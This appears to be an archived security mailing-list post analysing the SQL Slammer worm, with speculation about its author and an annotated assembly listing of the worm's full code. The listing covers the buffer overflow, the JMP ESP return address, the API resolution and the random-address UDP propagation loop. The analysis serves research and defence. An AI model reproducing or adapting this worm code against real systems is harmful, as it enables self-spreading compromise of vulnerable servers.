As everyone else wants to know, I wonder who initiated the spread of
the Sapphire/Slammer Worm. Originally, it was assumed that someone or
group with a signature of NOP did and this theory was quickly rebuffed
by experts from eEye experts
(http://news.com.com/2100-1001-982284.html)
and Mr. David Litchfield (http://news.com.com/2100-1001-982663.html).
From the analysis of the whole SQL Slammer, it is quite obvious
(http://members.rogers.com/yinrong/articles/SQLSlammer.htm) that some
bytes can be left out without affecting the infectiousness of this
worm. Then, why did the author(s) leave the uncecessary bytes in? Did
the author(s) want to show where the Worm was derived from?
Another set of questions is how the author(s) released the worm? Did
the author(s) release by aimly randomly at machines on the Internet or
targeting a few selected machines? If the author(s) only selected a
few machines, how could the author(s) of this worm know these machines
were vulnerable? Can just scanning at UDP port 1434 reveal the
vulnerability of the machine?
By the way, the SQL 2000 SP3 probably fixed the buffer overflow
problem. However, the addresses for the LoadLibrary and GetProcAddress
remains valid for this worm. Oh, NO! The critical "JMP ESP" still
stays at the same location. Unbelievable. So, if there is another
buffer overflow in SQL 2000 SP3, then the worm does not have to mutate
much to be effective. That is scary, isn't it?
Thanks for reading.
Peter Huang
================== PH Analysis and Comparison
===========================
000 db 4 ; the signature request byte for SQL
server
001 60h dup(1) ; buffer buster, original C contains
; AAAA BBBB CCCC DDDD EEEE FFFF
; GGGG HHHH IIII JJJJ KKKK LLLL
; MMMM NNNN OOOO PPPP QQQQ RRRR
; SSSS TTTT UUUU VVVV WWWW XXXX
; SQL Slammer contains 60H byte-long of 1
061 dd 42B0C9DCh ; Quoted below from the original C file
; Overwrite the saved return address on
the stack
; This address contains a jmp esp
instruction
; and is in sqlsort.dll.
; jmp esp = FF E4 (By the way, there are
two places
; of FF E4 in the executable section in
the SP3
; sqlsort.dll
; ===================== LEFT OVER
============================================
; PH> ---- unnecessary left-over from the original C code -----------
; PH> probably intentionally left here to show where this virus
; PH> is derived from. It is believed that the author(s) knew the
following
; PH> from 065h to 07Dh is useless. Some so-called experts claimed
earlier
; PH> that the 8 NOPs is the signature and rebuffed by eEye experts.
; PH> Instead, PH assumes that 6 byte long of 01h is more or less a
signature
; PH> in consideration of the 60h byte long of 01h. But PH is not an
expert at all.
; PH> So, it is a pure guess as good as that by anyone else. From the
perspective
; PH> of code efficiency, 01010101 is a normal choice as other hex
numbers.
; PH>
065 ; ---------------------------------------------------------------------------
065 jmp short loc_75 ; original "Need to do a near jump",
not needed
065 ; ---------------------------------------------------------------------------
067 db 6 dup(1) ; original "ABCDEF", now 01 01 01 01 01 01
06D dd 42AE7001h ; original addresses, not used here
071 dd 42AE7001h
075 ; ---------------------------------------------------------------------------
075
075 loc_75:
075 nop ; original 8 nops. Unknown reasons for
them
076 nop ; It is guessed that this will guanrantee
the code
077 nop ; will work even though the calculatation
; above "jmp short loc_75" gets minor
error
078 nop
079 nop
07A nop
07B nop
07C nop
; ===================== LEFT OVER
============================================
07D push 42B0C9DCh ; the return address
082 mov eax, 1010101h ; 18h * 4 = 60h of 01h bytes for
buffer buster
087 xor ecx, ecx
089 mov cl, 18h
08B
08B loc_8B:
08B push eax
08C loop loc_8B
08E xor eax, 5010101h
093 push eax ; eax = 4000000 for the request byte
094 mov ebp, esp ; now EBP + 3 is address for virus for
178
; --------------- Run-Time Dynamic Linking and initialization
---------
096 push ecx
097 push 6C6C642Eh
09C push 32336C65h
0A1 push 6E72656Bh ; EBP - 10 points to "kernel32.dll"
ASCII string
0A6 push ecx
0A7 push 746E756Fh
0AC push 436B6369h
0B1 push 54746547h ; EBP - 20 points to "GetTickCount"
ASCII string
0B6 mov cx, 6C6Ch
0BA push ecx
0BB push 642E3233h
0C0 push 5F327377h ; EBP - 2C points to "ws2_32.dll"
ASCII string
0C5 mov cx, 7465h
0C9 push ecx
0CA push 6B636F73h ; EBP - 34 points to "socket"
0CF mov cx, 6F74h
0D3 push ecx
0D4 push 646E6573h ; EBP - 3C points to "sendto"
0D9 mov esi, 42AE1018h
0DE lea eax, [ebp-2Ch]
0E1 push eax
0E2 call dword ptr [esi]
0E4 push eax
0E5 lea eax, [ebp-20h]
0E8 push eax
0E9 lea eax, [ebp-10h]
0EC push eax
0ED call dword ptr [esi]
0EF push eax
0F0 mov esi, 42AE1010h
0F5 mov ebx, [esi]
0F7 mov eax, [ebx]
0F9 cmp eax, 51EC8B55h
0FE jz short loc_105
100 mov esi, 42AE101Ch
105
105 loc_105:
105 call dword ptr [esi]
107 call eax
109 xor ecx, ecx
10B push ecx
10C push ecx
10D push eax
10E xor ecx, 9B040103h
114 xor ecx, 1010101h
11A push ecx
11B lea eax, [ebp-34h]
11E push eax
11F mov eax, [ebp-40h]
122 push eax
123 call dword ptr [esi]
125 push 11h
127 push 2
129 push 2
12B call eax
12D push eax
12E lea eax, [ebp-3Ch]
131 push eax
132 mov eax, [ebp-40h]
135 push eax
136 call dword ptr [esi]
138 mov esi, eax
13A or ebx, ebx
13C xor ebx, 0FFD9613Ch
142
; --------------- The deadly loop sends out infections
----------------
142 loc_142:
142 mov eax, [ebp-4Ch]
145 lea ecx, [eax+eax*2]
148 lea edx, [eax+ecx*4]
14B shl edx, 4
14E add edx, eax
150 shl edx, 8
153 sub edx, eax
155 lea eax, [eax+edx*4]
158 add eax, ebx
15A mov [ebp-4Ch], eax
15D push 10h
15F lea eax, [ebp-50h]
162 push eax
163 xor ecx, ecx
165 push ecx
166 xor cx, 178h
16B push ecx
16C lea eax, [ebp+3]
16F push eax
170 mov eax, [ebp-54h]
173 push eax
174 call esi
176 jmp short loc_142
====================== REFERENCES =================================
; http://www.eeye.com/html/Research/Flash/AL20030125.html for details
as well
; as the assembly explanation
;
; For the random number generator as well as its implementation errors
(or
; intentional to be that way), please check
http://www.caida.org/analysis/security/sapphire/
;
; For the original article C source code, please check
; http://maclux-rz.uibk.ac.at/~maillists/vuln-dev/msg04756.shtml
;
; For the modified C article widely credited to Lion in the China Red
Honker
; Association, please check
http://www.cnhonker.net/Files/show.php?id=167.
;
; By the way, I read a report in which the Lion disclaimed his
responsibility
; for the SQL Slammer infection. I regret that I did not save that
link or
; print it out.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
